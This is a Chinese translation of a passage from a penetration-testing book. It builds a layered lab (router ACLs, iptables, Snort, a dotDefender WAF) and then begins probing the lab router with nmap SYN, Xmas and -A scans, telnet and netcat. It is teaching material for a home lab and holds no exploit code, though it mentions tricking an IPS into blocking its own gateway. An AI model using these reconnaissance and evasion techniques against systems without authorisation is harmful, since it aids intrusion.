我们已经在我们的 Smoothwall 防火墙中配置了一个规则,这是我们配置的唯一过滤规则。虽然我们很想从外部位置进行测试,并且不设置任何过滤规则,这样就可以实际上给我们一个扁平的网络,但实际上,这种情况很少发生。因此,我们希望在我们的架构中设置一组最小的过滤规则,这将类似于我们在典型网络架构中可能看到的东西。这里有一个重要的观点:如果我们遇到一个良好配置的分层和受保护的架构,我们只能通过它们必须允许进入其服务的端口通过。这就是测试的现实情况;一个良好配置的架构不会为我们提供许多向量,除非它们必须允许的向量。因此,这并不是一件坏事,因为我们知道会有漏洞,我们几乎总是会有一个 Web 服务器和 Web 应用程序可以使用。

在当前的架构配置中,我们在第一层防御上没有设置任何过滤规则,你们中的一些人,如果不是所有人,可能知道,即使我们的外围设备充当路由器,路由器的核心功能之一是过滤流量。虽然传统的路由器过滤被认为是无状态的,即除了它正在处理的当前数据包之外没有任何记忆。今天的外围路由器和过滤功能通常是有状态的,并且与我们传统的防火墙工作方式基本相同。对于我们在书中的目的,我们将保持传统的无状态过滤方法。这是为了提供我们想要测试的弱点,而且它仍然是非常可行的,因为许多管理员会按照传统的方式配置路由器。因此,即使在今天,我们在测试中仍然会遇到弱的过滤配置,你需要知道如何在测试的早期阶段进行测试和识别。

在你的路由器窗口中,输入sh access-lists并显示路由器上配置的访问列表,你会看到此时路由器上没有访问列表。这就是为什么我们不仅可以 ping 通过它,还可以通过它访问 Web 服务器。因此,我们想要做的第一件事是配置访问列表。在我们这样做之前,先说一下访问列表。我们可以在访问列表或访问控制列表(ACL)中放置多种配置,但是要覆盖这些内容需要一个或两章的篇幅,所以我们只会涵盖基础知识。我们的目的是一旦你在你和目标之间有一个访问列表,我们想看到我们的网络数据包在我们的测试方法中的行为。对于那些想了解更多的人,可以在gtcc-it.net/billings/acltutorial.htm找到一个优秀的教程。

在您的路由器中创建访问控制列表,输入ip access-list extended External并按Enter。接下来要做的是创建规则;我们希望始终允许 ICMP,以便进行故障排除。我们知道我们只想从 VMnet8(NAT)子网访问,并且可以使用规则设置这一点;输入permit icmp 192.168.177.0 0.0.0.255 any并按Enter。接下来我们想要配置的是对我们的网页服务器的访问;我们可以制定两条规则,并将它们设置得足够精细,只允许端口 80 的流量到达网页服务器。然而,出于测试目的,允许访问路由器后面的整个子网是可以接受的。此外,这将使我们的测试比始终为每个协议配置一个规则更容易。这是在生产环境中的做法,但我们有一个测试架构的奢侈。在路由器窗口中,输入permit tcp any any eq 80,然后按Enter。现在我们已经设置好了配置,需要应用它。按Ctrl + Z返回到主提示符,然后输入以下内容:

conf t 
int f0/0
ip access-group External in .

现在我们已经准备好测试了;ping 然后访问位于 10.3.0.0 子网的网页服务器。您应该成功,如果没有,那么现在是我们最喜欢的故障排除时间。要查看路由器中的访问列表是否起作用,请按Ctrl + Z返回到主提示符。一旦在那里,输入show access-lists以显示访问列表信息。以下是一个示例截图:

配置防火墙架构

在查看访问列表时的关键是您是否看到匹配项?如果看到匹配项,那么您的访问列表就起作用了。这就是我们防火墙配置的范围。从这一点开始,我们可以向我们的架构添加任何我们想要的东西,并且这正是我们将继续进行各种不同测试技术以模拟我们需要计划的内容时所做的。我们对路由器进行了许多更改,因此在继续保存我们构建的路由器配置之前,请在路由器提示符处输入write mem

现在,对于那些没有 Cisco IOS 访问权限的人,我们将使用我们在第四章识别范围架构中设置的 iptables。正如已经提到的,到目前为止,我们的配置几乎没有什么区别,但这将发生改变。iptables 必须配置为允许流量到堡垒主机和位于我们公共 DMZ 中的 OWASP 网页服务器。除此之外,我们的配置没有任何改变。这也是我们选择这个方向的另一个原因。我们构建的架构使我们能够在不改变其后面的任何内容的情况下将任何设备或虚拟机放置为外围设备。对于我们的堡垒主机也是如此;我们可以在构建不同环境时更改它,我们的架构允许我们这样做。

iptables

对于那些没有 Cisco IOS 的人,我们可以使用 iptables 的过滤功能来创建我们在 Dynamips 虚拟机中使用的防火墙功能。

在第四章识别范围架构中,我们创建了一个 Debian 发行版作为我们的 iptables 机器。我们还可以使用 iptables 作为我们的堡垒主机过滤器,但出于本书的目的,我们将继续使用 iptables 机器作为第一层防御。当然,您可以在架构中的任何地方构建和插入机器,因为它是灵活的,只是一个基线分层配置。

即使您已经构建了Cisco Dynamips机器,您仍应跟着完成添加 iptables 机器到您的架构中的步骤,因为您可能会遇到这种情况。毫无疑问,许多组织正在将 Linux 添加到其企业中,几乎所有这些组织都配备了某种形式的过滤功能。此外,这种 iptables 过滤功能几乎是所有发行版的一部分。

如果您回想一下我们构建 iptables 机器时,我们选择了与我们用于 Dynamips 虚拟机的不同地址。我们这样做是为了始终可以在架构中拥有这两台机器,并且这使我们能够涵盖作为渗透测试人员可能遇到的潜在不同情况。我们所要做的就是在外部机器(Kali)中添加路由,并将其指向 iptables 机器的接口。虚拟配置与 Dynamips 相同。下面的截图显示了一个示例:

iptables

配置中棘手的部分在于路由的配置;因此,在我们处理实际的过滤规则语法之前,我们将先处理这个问题。请注意,我们可以启用数据包转发,然后测试我们的路由,但现在我们只需设置路由方向并验证它是否到达我们想要到达的位置。

打开您的 Debian 虚拟机,一旦启动,请使用您在构建机器时创建的用户名和密码登录。打开一个终端窗口,输入ifconfig以显示接口配置信息。请记住,如果您没有以root身份登录,您将需要使用su命令提升权限,然后输入 root 密码以使命令生效。我们机器的配置示例如下截图所示:

iptables

正如前面的截图所示,我们在两个接口上都有 15 地址。我们在本章前面添加了路由,但这些路由是通过 Dynamips 虚拟机的。因此,如果您同时启动这两台机器,就不会有 IP 冲突,但您必须调整其他机器中的路由,以确保流量通过正确的机器。最简单和推荐的方法是在继续之前暂停 Dynamips 虚拟机。要在 VMware Workstation 中暂停机器,请导航至VM | Power | Suspend Guest

现在机器已经暂停,我们将在 Kali 机器中输入一个路由并进行测试。如果您仍然为 Dynamips 机器输入了路由,那么它将起作用,因为我们只是使用了子网 10.2.0.0,并没有为网关机器添加条目。要测试您的路由,请输入ping 10.2.0.15 –c 3以测试您是否具有连接性。如果没有,那么您的路由表中不再有该路由。我们已经展示了如何做到这一点,但为了让您不必考虑或参考本章前面的内容,下面的截图显示了查看表格、添加和测试路由的方法示例:

iptables

屏幕显示了查看表格、添加和测试路由的方法示例(裁剪的文本不重要)

一旦您成功测试了对 iptables 机器接口的访问,我们将接下来测试与我们构建的 OWASP Web 服务器的连接。在终端窗口中,输入ping 10.2.0.132 –c 3来测试与 Web 服务器的连接。请记住,如果您的 OWASP 机器位于另一个 IP 地址,您将不得不输入该地址。但是,您会注意到这次失败了。你知道为什么吗?希望您记得我们在 Dynamips 机器上有一个路由器,因此路由已经设置好了。大多数 Linux 机器的默认安装不会打开 IP 转发。因此,我们必须手动打开它以提供路由器的功能。在 iptables 机器上,在终端窗口中输入cat /proc/sys/net/ipv4/ip_forward来检查 IP 转发的设置;如果转发已打开,则该值应为1。要打开转发,请输入echo 1 > /proc/sys/net/ipv4/ip_forward并用1覆盖0。转发现在已启用。以下屏幕截图显示了启用转发的示例:

iptables

一旦您打开它,您可能无法完成成功的测试。在之前配置路由时,我们没有像应该那样精细化。我们出于一个原因这样做:为了向那些可能对网络技能有点生疏的人展示;此外,您可能已经忘记了您以前拥有的路由知识,如果您一直在更高层花费大量时间的话。我们在这里要表达的是,您必须在 route 命令中放置一个网关。有时,没有网关也可以工作,就像在我们之前的章节中一样,但通常会失败,因此最好尽可能具体地设置我们的路由,以避免这种情况。您必须在 Kali 和 OWASP 虚拟机中输入路由。

以下屏幕截图显示了两台机器的 route 命令示例:

iptables

屏幕显示了两台机器的 route 命令示例(裁剪的文本不重要)

提醒一下,如果您设置了自己的方案,您的 IP 地址可能会有所不同。我们现在已经建立了我们的网络架构,所以是时候配置和设置过滤了,因为我们可以访问 OWASP 机器上的任何端口。打开浏览器并验证您是否可以访问 OWASP 机器上的 Web 服务器。

我们现在将在 Debian 机器上配置 iptables。当您配置 iptables 时,可以直接从命令行配置规则。但是,我们将在这里使用的方法是在命令行上输入规则,然后保存它们。在 Debian 中,默认情况下没有设置在启动时加载 iptables 的设置。因此,这不是我们想要保留的状态。为了更正,我们将添加iptables-persistent软件包。在终端窗口中,输入apt-get install iptables-persistent来获取并安装该软件包。

安装完软件包后,将在/etc/iptables文件夹中找到一个名为rules.ip4的配置文件。如果你想查看文件,输入more /etc/iptables/rules.v4来显示文件内容。正如你所看到的,默认情况下,所有链都设置为ACCEPT。我们现在将更改它。因此,我们将使用命令行,然后使用保存实用程序保存我们的更改。在我们这样做之前,我们将测试我们的架构是否具有连通性;我们可以通过 ping OWASP 机器来做到这一点。一旦你成功完成了这一点,现在是时候改变它并阻止数据包的转发了。在 Debian 机器上,输入iptables –P FORWARD DROP来将策略设置为拒绝并且不转发所有数据包。我们这样做是因为这是安全的谨慎方法,也是我们在测试环境中会遇到的情况。问题是,如果我们不保存规则,那么当我们重新启动时,规则将不复存在。在我们下载的软件包中,有一个工具可以做到这一点。在终端窗口中,输入iptables-save /etc/iptables/rules.v4来将配置保存到文件中。这将使我们在重新启动机器后仍然可以使用规则。未来规则文件应该如下截图所示:

iptables

这条规则应该阻止你能够 ping 机器,这正是我们想要实现的。我们目前有一个默认的拒绝策略,并将根据需要添加规则以允许我们需要的流量。我们需要允许的流量是发送到 Web 服务器的 Web 流量。在终端窗口中,输入iptables –A FORWARD –p tcp –d 10.2.0.0/24 –dport 80 –j ACCEPT来创建一个规则,将入站端口 80 的流量转发到 OWASP 机器。我们还需要另一个方向的规则。我们可以使用状态指令和其他方法,但我们希望尽可能地创建路由器的功能,这需要两条规则,而无状态过滤器则需要。

我们要输入的第二条规则是iptables –A FORWARD –p tcp –s 10.2.0.0/24 –sport 80 –j ACCEPT,以添加返回流量的规则。一旦输入了规则,你可以通过输入iptables-save /etc/iptables/rules.v4来保存它们。配置保存后,你现在应该可以访问 Web 服务器,但不能访问 OWASP 机器上的其他内容,这正是我们想要的。这个配置文件的示例如下截图所示:

iptables

这完成了我们的配置。我们可以根据需要向 iptables 过滤器添加协议,并练习我们很可能会遇到的几乎所有形式的测试。

部署 IDS/IPS 和负载均衡器

我们现在基本上已经构建了我们架构的主要组件;因此,现在是时候讨论向我们的测试范围添加监控功能了。有一件重要的事情需要注意:无论我们选择什么监控解决方案,我们都无法预测网站将如何配置它!这是我们在测试时不能忽视的唯一事情。我们可以测试并成功规避我们放置在范围上的监控系统,但由于这些系统主要是基于策略和配置的,有可能我们在实验室中取得的成功不会在现实中得到同样的结果。在本节中,我们将讨论一些可用的监控系统类型的示例,并在书的后面讨论逃避时部署其中一个。

入侵检测系统(IDS)

在选择我们的架构的 IDS 时,有一些事情我们需要考虑,比如我们想要将哪种产品设置为我们的实践 IDS。有许多可用的产品,这可能会成为一项艰巨的任务,但由于最受欢迎的产品之一是 Snort,我们将集中讨论它。Snort 的另一个优点是它有免费版本和商业版本。

当我们在网络上部署我们的 Snort 机器时,我们有几种选择,但在解决这个问题之前,我们需要讨论我们将在虚拟环境中部署 Snort 传感器的位置以及流量将如何到达传感器。

在实际的架构中,交换机是一个单播设备,只会将流量转发到目的端口。此外,广播流量是唯一发送到所有端口的流量。在部署 IDS 网络传感器时,这可能会带来问题,我们必须使用 SPAN 端口或 TAP。有关这些选项的更多信息和比较,您可以访问以下链接:

www.networktaps.com/

幸运的是,在 VMware 交换机中我们没有这个问题。交换机被设置为我们可以看到交换机上的流量,这使我们能够连接 IDS 网络传感器,而不必担心配置 SPAN 端口。要验证这一点,你可以在两台机器之间进行 ping 测试,并在第三台机器上运行tcpdump,检查是否可以看到两台其他机器之间的流量。例如,我们将在 OWASP Web 服务器和堡垒主机之间进行 ping 测试;我们将通过在 Kali 机器上运行tcpdump来查看 ping 流量。

这在以下截图中有例子:

入侵检测系统(IDS)

一旦我们确定我们可以查看交换机上的流量,我们想讨论的下一件事是传感器的位置。对于基于网络的 IDS,正常的配置是在每个段上都有一个网络传感器。因此,唯一的要求是所有的机器都必须连接到同一个交换机。在未来,当我们部署和监控我们的范围时,我们将遵循这种方法。我们的带有 IDS 传感器的外部架构示例如下图所示:

入侵检测系统(IDS)

现在我们已经确定了我们架构中传感器的位置,我们将讨论如何在我们的虚拟配置中实现这一点。我们可以构建另一台虚拟机作为 IDS 传感器,但这样我们可能会感受到现有 RAM 的压力。因此,我们更倾向于有一台机器,并配置多个网络卡,并在每个已连接到所需交换机的现有卡上配置 Snort 传感器。

注意

为了实现这一目标,我们需要构建一台运行 Snort 的机器。我们可以从头开始构建一台机器,但为了本书的目的,我们将考虑其他选择。然而,从头开始构建一台机器是一次有趣的经历,留给读者作业。关于如何为 Snort 做到这一点的出色资源,也提供了一些平台的指导,可以在www.snort.org/docs找到。关于这些学习指南的一个注意事项,它们并不是 100%准确的,所以你的实际情况可能有所不同。

为了创建我们的 Snort 传感器,我们将使用一个已经安装了 Snort 程序和所有依赖项的发行版。我们将使用的发行版是网络安全工具包。它包含 125 个顶级安全工具,这是值得添加到您的架构中的东西。我们最喜欢的是它设置 Snort 的简易性。您可以从sourceforge.net/projects/nst/files/下载 ISO 映像。下载 ISO 映像后,您需要创建一个虚拟机。由于我们已经涵盖了这一点,我们不会再重复。您需要做的是挂载 ISO 映像并引导它。一旦机器引导,您将安装它到硬盘。在桌面上,有一个图标用于安装到硬盘。桌面的一个示例如下截图所示:

入侵检测系统(IDS)

双击图标并按照提示将映像安装到硬盘。这将需要一些时间。您可能想知道为什么我们要安装到硬盘,而不是直接从 ISO 映像引导。我们之所以要安装到硬盘,是因为我们希望将 NST VM 作为实际的机器,这样我们就可以保存和构建各种配置,然后保存它们。如果安装时选择了自定义分区,请单击图标并将其更改为自动分区,因为这样可以节省时间。安装完成后,双击桌面上的图标并设置系统密码。设置密码后,在桌面区域右键单击并选择在终端中打开以打开新的终端窗口,然后输入shutdown –h now以关闭系统。系统关闭后,我们需要配置机器以支持我们需要连接 Snort 传感器的三个接口。

这种配置的一个示例如下截图所示:

入侵检测系统(IDS)

正如您可能已经注意到的,在上一个截图中,ISO 映像不再挂载;删除该设置是一个好主意,以避免任何潜在的冲突。一旦验证了您的配置并启动了虚拟机,我们将继续配置机器以满足我们外部架构范围的 IDS 需求。打开一个终端窗口并输入ifconfig,验证您是否有三个接口,如下截图所示:

入侵检测系统(IDS)

现在我们已经设置了接口,准备启动 Snort。我们选择网络安全工具包的原因是它为我们提供了一个非常简单的 Snort 传感器设置。单击活动,选择 Firefox 图标并打开浏览器,系统将提示您输入用户名和密码。输入用户名root和安装到硬盘时设置的密码。在 Web 界面中,单击安全 | 入侵检测 | Snort IDS以打开配置 Snort 的 GUI。这种配置的一个示例如下截图所示:

入侵检测系统(IDS)

显示配置 Snort 的 GUI 的屏幕(裁剪的文本不重要)

要配置传感器,请选择您要启动的传感器的单选按钮,即 eth0 接口。选择接口后,向下滚动并单击设置/启动 Snort以启动传感器。给它一些时间,然后单击检查状态以查看传感器是否已启动。有时需要尝试两次,如果显示停止,请单击启用,然后再次运行该过程。一旦成功,您应该看到接口上正在运行的进程。对其他两个接口执行相同的步骤。这种配置的一个示例如下截图所示:

入侵检测系统(IDS)

显示在接口上运行的进程的屏幕(裁剪的文本不重要)

就是这样!我们现在使用 Snort 工具拥有了一个完全分布式的 IDS,并且我们已经将传感器连接到架构的每个交换机上。我们不会在这里详细介绍如何使用 IDS,因为当我们展示规避方法时,我们将会详细介绍。现在,我们至少想简单地查看一种验证您的 Snort 安装是否正常工作的方法。在传感器的右侧,有许多按钮;点击规则按钮以选择 eth0 接口。这将显示您可以在接口上配置的规则;当您审查规则时,您会发现这个基本安装并没有启用太多规则;这是为了避免误报。通常,网站会禁用扫描规则,因为它可能导致许多误报,而实际上,扫描是如此常见。我们希望通过在单选按钮中选择它来启用接口的扫描规则。一旦您对规则进行了更改,您将需要重新加载接口。点击仅包括所选规则。以下是此示例的屏幕截图:

入侵检测系统(IDS)

下一步是重新加载传感器以更新规则。点击管理 Snort 进程以管理 Snort 传感器,然后点击重新加载按钮。现在我们准备测试我们的传感器!打开一个终端窗口并输入cd /etc/snort_eth0以进入在运行 NST 脚本文件时配置的目录。当您使用 Web 界面启动传感器时,所有配置文件都位于此处。从这里开始,流程是再次启动 Snort 传感器并执行快速测试。再次强调,这只是一个测试传感器的快速参考;在规避部分,我们将更多地使用 NST 分发。正如您所见,我们必须启用扫描规则以便检测扫描,这是非常常见的。

此外,即使启用了扫描规则,也有方法可以避免检测,但这是另一回事。在终端窗口中,输入snort –A console –c snort.conf以启动另一个 Snort 实例并将信息记录到控制台。如果您没有 root 权限,您将需要以root身份运行该命令。打开另一个终端并输入nmap –sX –p 137,445 192.168.177.1以对主机进行圣诞树扫描。以下是您应该在 Snort 控制台上看到的警报的示例屏幕截图:

入侵检测系统(IDS)

这证实了我们已经配置了 Snort 并且规则正在工作。此时,我们不会再做更多的工作。欢迎您自行探索。NST 分发拥有大量的工具,值得进一步探索学习,建议您将 NST 作为 Kali 机器的一个很好的补充。

入侵防范系统(IPS)

我们已经部署了 IDS,现在是时候把注意力转向 IPS 了。在 IDS 的早期,IDS 为我们提供了三个功能;它们是监视、检测和响应。这就是 IPS 的来源;今天的响应功能是响应和潜在地防止攻击。在大多数情况下,网络 IPS 的响应是根据 IP 地址进行阻止。对于基于主机或机器的 IPS,阻止进程访问某些内容。这方面的一个有限的例子是 Windows 最新版本的用户账户控制UAC)保护。这些方法的问题在于我们要求软件检测真实攻击与可能不真实攻击的区别。也就是说,我们要求软件进行思考。我认为,无论媒体或娱乐行业如何描绘,我们都没有思考的软件。例如,当我们在机器上执行一个涉及 UAC 的操作时,它会警告我们有事情发生;问题在于它警告我们太多,以至于我们只是点击。因此,这不是一种有效的保护方法。我们知道用户很可能会点击;这对测试有好处,对安全有害。

多年前,我们会伪装客户端网站使用的 IP 地址,比如他们的网关,然后发动攻击。响应动作是阻止 IP 地址,结果他们阻止了自己的网关,没有人能够访问他们网络之外的任何内容。因此,可以想象,IPS 在部署时可能会引起问题;因此,根据我的经验,如果部署了 IPS,通常会配置为监视模式而不是阻止模式。

在 IPS 方面,我们的范围内可用的产品并不多,而且都是商业产品。因此,我们暂时不会在我们的范围内添加 IPS。当我们到了规避部分时,我们会再次考虑这个问题。我们在范围内的 IPS 部署将取决于我们在客户端遇到的情况和工作范围的细节。

负载均衡器

在向我们的架构添加负载均衡器时,有几种选择。测试的主要问题是检测负载均衡器是否就位,并在进行测试时处理相关问题。

我们将集中讨论在我们的架构中实现负载均衡的潜在选择。我们只会讨论协议负载均衡。我们有能力在 iptables 中使用负载均衡。关于这一点的例子,请参考以下屏幕截图:

负载均衡器

在上一个屏幕截图中的示例中,使用了在三台机器之间旋转数据包的概念。配置负载均衡将传入的 HTTPS 流量分配到三个不同的 IP 地址,使用counter 0来处理每第三个数据包。

我们下一个负载均衡的例子是 pfsense 防火墙;在防火墙配置中有负载均衡的功能。要获取有关配置入站负载均衡的额外信息和教程,请参考这个网站doc.pfsense.org/index.php/Inbound_Load_Balancing。此外,Lee Allen 的书《高度安全环境的高级渗透测试:终极安全指南》中有关于如何使用 pfsense 进行负载均衡的详细信息。

集成 Web 应用防火墙

在撰写本书时,您遇到的越来越多的架构开始部署其 Web 服务器的保护。此外,部署 Web 应用防火墙(或 WAF,通常所说的)变得越来越普遍。因此,我们需要在我们的架构中部署它们,以测试并确定如何通过它们。我们将在后面的部分详细介绍这些细节。现在,我们将看看如何向我们的架构添加 WAF 功能。最受欢迎的免费开源 WAF 之一是 ModSecurity。我们将在后面的章节中重新讨论这个问题;现在,我们将向我们之前架构中使用的现有 metasploitable VM 添加一个 WAF。

在安装和配置 WAF 之前,我们将克隆机器并为我们的架构创建一个 WAF 设备。这将允许我们将 WAF 机器连接到我们范围的任何地方,以便我们可以测试我们通过它的能力。这将为我们提供以下图表中显示的配置:

集成 Web 应用防火墙

由于我们需要访问互联网,您需要更改网络适配器,以便它连接到 NAT 开关并为我们提供互联网的链接。更改配置后,启动机器。登录后,输入sudo –i以假定特权的根级别。

我们需要下载软件,我们将使用wget命令。当您阅读本书时,链接将会有所不同。因此,转到网站并验证当前可用的版本,并更改版本号以匹配您发现的版本,然后下载应该正常进行。在终端窗口中,输入wget http://www.applicure.com/downloads/5.12/Linux/i386/dotDefender-5.12.Linux.i386.deb.bin.gz以连接并下载软件。软件下载完成后,是时候安装它了。但是,在这之前,我们必须解压缩它并使其可执行。输入gunzip dotDefender-5.12.Linux.i386.deb.bin.gz以解压文件。文件解压缩后,我们现在必须使其可执行。输入chmod +x dotDefender-5.12.Linux.i386.deb.bin并更改执行权限。这些命令的示例如下图所示:

集成 Web 应用防火墙

现在我们准备开始安装过程。输入./dotDefender-5.12.Linux.i386.deb.bin以开始安装过程。按默认设置进行,直到您必须输入 Apache 可执行文件的路径。输入/usr/sbin/apache2作为 Apache 服务器的位置,并继续使用安装默认设置,直到您输入要访问应用程序的 URI。输入dotDefender。然后,输入管理员访问密码;在测试环境中,您可以输入任何您选择的密码,但我喜欢保持简单,所以我们将使用密码adminpw并继续安装。在更新选项中,选择任一选项并继续安装。如果提示更新周期选项,请选择您选择的任何一个,然后单击下一步。选择第一个选项从网站获取更新,然后单击下一步继续安装。

如果一切顺利,您应该看到安装完成的成功消息,如下图所示:

集成 Web 应用防火墙

现在,根据完成消息的指示,我们需要重新启动 Apache;输入/etc/init.d/apache2 restart以重新启动服务器。重新启动 Web 服务器后,我们将访问 WAF。打开您选择的浏览器,并使用 Metasploitable 机器的 URL 连接到 WAF。连接后,输入管理员用户名和您在安装过程中选择的密码,并访问配置页面;如下图所示的示例:

集成 Web 应用防火墙

由于我们尚未应用许可证,我们只处于监控模式,但对于我们的测试和使用 WAF 进行练习来说,这已经足够了。现在我们想要测试我们的 WAF,并且我们将使用 Kali 发行版进行测试。在 Kali 机器上,打开一个终端窗口,输入nikto –h 192.168.177.134来使用 nikto 网络扫描程序,看看 dotDfender WAF 是否会发出警报。如果您的 WAF 位于不同的 IP 地址,则必须将目标地址更改为您的 WAF 的 IP 地址。扫描完成后,返回到您的 dotDefender,并导航到日志查看器 | Metasploitable,查看来自 WAF 的日志。您应该会看到来自 nikto 扫描的一些警报;以下是一个示例截图:

集成 Web 应用防火墙

我们现在已经为外部测试以及其他方法构建了一个强大而完整的架构。我们拥有可以在许多不同情况下重复使用的组件;因此,从本章的角度来看,我们的需求已经得到满足,我们也完成了我们的目标。最后要做的一件事是对本章中配置的所有机器进行快照,以防万一出现问题。

总结

在本章中,我们建立了一个分层架构,以满足我们可能遇到的各种情况的需求。我们从分层方法开始,以满足我们外部测试的需求。

在定义了各层之后,我们开始向架构的每个部分添加所需的组件。我们还研究了过滤和路由的需求,并构建和配置了 Cisco 路由器模拟器以及 iptables 机器,以满足我们的过滤需求。

一旦我们配置并测试了第一层组件,我们就开始添加防火墙到架构中的任务。我们使用了流行的工具 Smoothwall 作为我们的防火墙,并将其配置为支持一个服务以进行测试。

在构建了防火墙并测试了配置之后,我们接下来着手添加监控功能到网络。我们在所有三个所需的子网上构建和配置了 Snort,以支持我们对入侵检测的需求。然后,我们讨论了向配置中添加 IPS 和负载平衡的过程。

最后,我们讨论了集成 Web 应用防火墙的内容。我们安装并配置了 Web 应用防火墙 dotDefender。一旦我们建立了机器,我们对其进行了克隆,这样我们现在就有了一个可以连接到架构中任何位置的 WAF 机器。在完成克隆过程后,我们使用了一个工具 nikto 来测试我们的 WAF 是否能检测到 Web 应用程序类型的攻击。

本章到此结束。您现在拥有一个完整的分层架构,包括路由需求。现在,只需连接所需的目标到这个架构,并测试看看对目标的攻击是否奏效。从这一点开始,我们将看看可能遇到的目标,然后进行实验,看看我们能发现什么。范围的基础和核心已经建立,现在是时候添加目标了。我们将遇到的第一个保护,也是目标,将是某种设备;因此,这将是我们下一章的起点。

第七章:设备评估

在本章中,我们将学习评估不同类型设备的技术。我们还将研究在测试过程中测试弱过滤器的方法。我们将涵盖以下主题:

  • 评估路由器

  • 评估交换机

  • 攻击防火墙

  • 识别防火墙规则

  • 渗透过滤器的技巧

本章将为我们提供一种评估现有设备及其受保护程度的方法;发现我们要对抗的管理员的技能水平是很重要的。一个经过强化和良好配置的环境将提出重大挑战。然而,作为专业测试人员,我们的工作是接受挑战,看看我们能发现什么,并起草一份发现的报告。

评估路由器

从外部攻击者的测试位置开始,我们最有可能遇到的第一件事是路由器。也有可能是一个设备,但由于我们主要是从测试范围的角度出发,所以我们不太可能随身携带设备。我们在本书的早期已经展示了获取设备的地方;因此,如果您有这样的奢侈,您可以根据我们提供的信息建立自己的固定实验室。

我们在上一章中构建的外部架构是我们将进行所有测试的基础。我们分层架构的一个示例如下图所示:

评估路由器

前面的图表显示了我们整个外部架构,我们遇到的第一件事是路由器;因此,它是我们将用来进行测试的第一个设备。

与本书中过去所做的一样,我们希望集中在我们在特定时间点将处理的架构领域;因此,对于本节,我们将专注于以下图表中的架构:

评估路由器

为了进行这项测试,启动路由器和 Kali Linux 发行版的虚拟机。我们将使用 Kali 来测试路由器。在机器启动后,使用您创建的必需的用户名和密码登录到它们。

在路由器机器上,您需要启动路由器,打开一个终端窗口,然后输入dynamips –H 7200来启动路由器。一旦它启动,您需要通过打开另一个终端窗口并输入dynagen config.net来加载配置文件。一旦配置加载完成,输入console R1并访问正在运行的路由器,然后在路由器提示符上输入en进入路由器的特权模式。在这一点上,我们输入show ip int brief来显示路由器接口的配置。输出应该类似于以下截图所示:

评估路由器

与以前一样,我们希望确保我们的接口处于线路和协议up的状态,就像前面的截图所示的那样。一旦我们确保了这一点,我们将把注意力转向其他事项。

在 Kali 发行版中,有许多工具可供我们在测试范围内进行测试;其中最流行的之一是网络映射工具 Nmap。在 Kali 上打开一个终端窗口,并对连接到 VMnet8 的路由器接口进行扫描;如果您已经配置您的机器以匹配我们在书中使用的内容,您将输入nmap -sS 192.168.177.10 –n进行扫描。

这对目标进行了 SYN 或半开放扫描,这种情况下是路由器的 f0/0 接口。n选项告诉 Nmap 不要进行名称查找,并帮助我们的扫描更快地完成。

这次扫描的结果示例如下图所示:

评估路由器

对于阅读本文的人来说,您很可能知道我们有 65536 个可能的端口,而 Nmap 工具只在扫描中查看了其中的 1000 个。这是 Nmap 的默认设置,因此我们可以将其更改为扫描所有端口,我们现在将这样做。输入nmap -sS –p 0-65535 192.168.177.10 –n来扫描所有可能的端口。如果发现的服务是您想要攻击的服务,那么您可以跳过整个端口范围的扫描。

这个扫描将需要很长时间才能完成;您可以随时按空格键获取实时更新。

一旦这个非常长的扫描完成,路由器上只会有一个端口打开,因此这就成为我们对路由器本身的攻击向量。扫描进行到一半时的示例显示在以下截图中:

评估路由器

正如前面的截图所示,扫描需要很长时间才能完成,而且我们尤其不喜欢总共花费的时间在增加。这是因为扫描必须发送数据包到所有 65536 个端口。有方法可以加快扫描速度,但我们在这里不会担心这个问题。由于路由器上只有一个端口打开,因此这是我们进行攻击的唯一途径,我们可以连接到它并查看响应。

重要的是要注意,这只是一个路由器的默认配置,并没有进行任何加固;然而,我们实际上并没有太多的攻击面。我们有一个优势,那就是这是 Cisco 软件的旧 IOS 版本,这可能有助于我们前进,但我们将首先尝试一些基本的东西。由于端口 23 用于 telnet 开放,我们可以连接到它并查看连接的结果。在 Kali 上的终端窗口中,输入telnet 192.168.177.10来连接到路由器上的 telnet 服务;这方面的示例显示在以下截图中:

评估路由器

好消息是端口上有一个正在运行的服务,我们可以连接到它;坏消息是密码从未设置过,因此我们无法长时间访问该端口。连接到端口的另一种方法是使用工具 Netcat,我们现在将尝试一下,看看结果是否有所不同。在终端窗口中输入nc 192.168.177.10 23,使用 Netcat 工具连接到服务,看看我们是否有更好的运气;结果的示例显示在以下截图中:

评估路由器

一次又一次,我们并没有得到任何有价值的东西,所以我们继续尝试另一种方法。首先,我们需要意识到我们有点作弊,因为我们知道只有一个虚拟路由器。当然,这并不是在实际测试时的情况;因此,我们需要看看如何确定我们正在处理一个路由器。为了做到这一点,我们必须从数据包级别查看网络流量。

注意

每当我们想知道我们正在处理的是什么,总是要从数据包级别查看。幸运的是,Kali 发行版中包含了一个很好的工具,那就是 Wireshark。

在 Kali 中打开一个终端窗口,输入wireshark &来启动该工具。当工具启动时,您可以在连接到 VMnet8 交换机的接口上启动捕获,这应该是 eth0。示例显示在以下截图中:

评估路由器

一旦您验证了您的设置,点击开始以在 eth0 接口上开始捕获。一旦捕获开始,对路由器进行另一次扫描,并在 Wireshark 中查看结果。示例显示在以下截图中:

评估路由器

正如之前的截图所示,这是一个有访问控制列表的路由器;任何时候你看到一个 ICMP 目的地不可达的消息,告诉你有一个路由器会遇到。以下截图显示了 ACL 扫描的一个例子:

评估路由器

那么,现在我们该怎么办呢?我们知道有一个路由器,并且它有一个访问控制列表。你还会注意到,现在返回的结果将有一个 ACL,并且只会显示一个端口被关闭。我们的 telnet 去哪了?telnet 端口是开放的,因为那个路由器上没有 ACL,但是一旦你应用了 ACL,规则就被设置为默认拒绝,因此,你只会看到管理员明确允许的东西是开放的。

这就是测试的现实。我们很幸运,这个管理员没有阻止 ICMP 回复消息,所以我们至少可以确定我们有一个路由器。我们接下来可以尝试的是看看 Nmap 告诉我们关于路由器的信息。

使用 Nmap 工具,我们可以尝试进行枚举扫描。为此,我们可以使用–A选项,所以我们现在将尝试这样做。在终端窗口中,输入nmap –A 192.168.177.10命令来查看我们可以从路由器那里收集到什么。以下截图显示了这次扫描的结果的一个例子:

评估路由器

事实证明,即使是枚举扫描也没有太大帮助。这是因为路由器对工具提供的帮助不多。再次强调,我们知道我们会遇到一个路由器,这就是为什么我们从它开始的原因。我们看到端口 80 的报告被关闭,所以让我们进一步调查一下。在你进行测试时要保持的一个重要事情是在 Wireshark 中捕获流量,并查看目标在数据包级别如何响应。

